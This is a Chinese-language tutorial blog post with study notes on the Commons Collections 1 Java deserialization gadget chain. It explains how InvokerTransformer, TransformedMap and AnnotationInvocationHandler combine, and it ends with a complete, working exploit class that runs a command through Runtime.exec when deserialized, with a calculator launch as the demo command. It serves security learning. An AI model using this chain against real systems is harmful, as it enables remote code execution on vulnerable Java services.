Commons Collections1 利用链分析笔记
2023-2-23 11:6:31 Author: 轩公子谈技术(查看原文) 阅读量:10 收藏

cc系列学习视频参考b站 白日梦组长

环境下载

环境jdk 8u65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后下载sun包,点击zip

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压             

然后创建maven项目

把src文件加载进来

导入依赖                           

<dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>    </dependencies>

然后下载源码

             

环境准备完成。

我这里就不过多解释cc链了

这里在唠叨一下,反序列化漏洞

这里借用白日梦组长的图

反序列化原理

反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。

那如何找漏洞点?

结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。

如下图

a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。

反序列化中离不开的两个东西,一个是map集合,一个是反射。

如果对反射不太了解,可以参考之前的博文

反射教程

命令执行的方式

分析之前,先捋一下,java中如何执行命令

常规命令执行

Runtime.getRuntime().exec("open -a calculator");

通过反射执行命令

ClassaClass = Runtime.class;              Runtime r = Runtime.getRuntime();              Method exec = aClass.getMethod("exec", String.class);              exec.invoke(r,"open -a calculator");

通过Transformer执行命令

Runtime r = Runtime.getRuntime();              new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

通过上面三种方式,是不是稍微好理解了。

漏洞分析之Transformer

那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口

InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc

           

然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合

这里的checkSetValue方法需要传入一个value,然后回调给Transformer

protected Object checkSetValue(Object value) {                  return valueTransformer.transform(value);              }

回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用

   

关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下

default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。

private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)

public : 对所有类可见。使用对象:类、接口、变量、方法

protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)

再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。

那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。

相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              HashMap<Object,Object> hashedMap = new HashMap();              TransformedMap.decorate(hashedMap,null,invokerTransformer);

然后再去找checkSetValue调用方法

MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置

中途代码验证

利用链完成了一半,尝试写代码进行验证       

 Runtime r = Runtime.getRuntime();               InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"open -a calculator"});               HashMaphashedMap = new HashMap();               hashedMap.put("key","bbb");               Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);               for (Map.Entry entry:map.entrySet()){                   entry.setValue(r);               }

打个断点可以看到,MapEntry中的键值对已经显示出来了

这里的checkSetValue也存在数据,说明刚才的分析是对的

    

最后到达漏洞点

寻找入口点

这里已经找到了setValue,完整的攻击链还差一步,寻找readObject

在sun.reflect.annotation下发现了readObject方法

遍历集合,获取key

             

查看最上面的代码

使用了class修饰 所以访问需要当前包下

构造方法传入两个参数,第一个是注解,第二个是map集合

刚好是符合上面构造的exp的参数,集合map

这里需要使用反射加载才能调用这个构造方法

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});               HashMap<Object,Object> hashedMap = new HashMap();               hashedMap.put("key","bbb");               Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);               Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");               Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);               constructor.setAccessible(true);               Object o = constructor.newInstance(Override.class, map);               serializable(o);               unserializable("ser.bin");

大致是这样的,但是无法运行。

通过反射序列化Runtime类

反序列必须继承Serializable接口,Runtime 无法序列化

setValue的值无法控制

遍历map中需要绕过两个if判断

解决三个问题

先解决Runtime问题

虽然Runtime无法序列化,但是Class是可以序列化的

Runtime.class

所以代码如下

Class c = Runtime.class;              Method getRuntime = c.getMethod("getRuntime", null);              Runtime r  = (Runtime) getRuntime.invoke(null, null);              Method exec = c.getMethod("exec", String.class);              exec.invoke(r,"open -a calculator");

   
             
转换一下              

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);                      Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);                      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);

这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可

             

优化数组代码 

Transformer[] transformer  = new Transformer[]{                              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})                      };              ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

最终代码

// 命令执行代码                      Transformer[] transformer  = new Transformer[]{                              new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                              new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})                      };                      ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              

//遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("key","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);

// 反射引用AnnotationInvocationHandler Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class, map);

//序列化 serializable(o); unserializable("ser.bin");

在解决if判断

这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。

这里打个断点调试下

这里的memberType是传入的注解 Override,成员变量为空

这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,

override是单独的接口,没有成员方法,这里换成其他注解 target

             

发现他有个成员方法,value

             

替换后重新断点,发现找到了参数

             

这里第二个if也成功绕过

然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类

但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。

原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。

在数组中添加一下代码,把value替换为Runtime.class即可执行命令

new ConstantTransformer(Runtime.class)

现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。

             

最终exp

package com.test.cc;                        import org.apache.commons.collections.Transformer;              import org.apache.commons.collections.functors.ChainedTransformer;              import org.apache.commons.collections.functors.ConstantTransformer;              import org.apache.commons.collections.functors.InvokerTransformer;              import org.apache.commons.collections.map.TransformedMap;              import java.io.*;              import java.lang.annotation.Target;              import java.lang.reflect.Constructor;              import java.util.HashMap;              import java.util.Map;              

public class Demo { public static void main(String[] args) throws Exception { // 命令执行代码 Transformer[] transformer = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

//遍历map HashMap<Object,Object> hashedMap = new HashMap(); hashedMap.put("value","aaa"); Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);

// 反射引用AnnotationInvocationHandler Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, map);

//序列化 serializable(o); unserializable("ser.bin"); } public static void serializable(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserializable(String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } }                                                                                        Method.invoke()                                                                                                                       Runtime.exec()

Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样

ObjectInputStream.readObject()  AnnotationInvocationHandler.readObject()    Map(Proxy).entrySet()      AnnotationInvocationHandler.invoke()        LazyMap.get()          ChainedTransformer.transform()            ConstantTransformer.transform()            InvokerTransformer.transform()              Method.invoke()                Class.getMethod()            InvokerTransformer.transform()              Method.invoke()                Runtime.getRuntime()            InvokerTransformer.transform()              Method.invoke()                Runtime.exe

总结

在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247487639&idx=1&sn=80f4883324be989975fa54180cf7113b&chksm=fce9b758cb9e3e4e3be3e586d84283d0c81631c41e88e8def5c3d41a1d8180a5c9386debd6c3#rd
如有侵权请联系:admin#unsafe.sh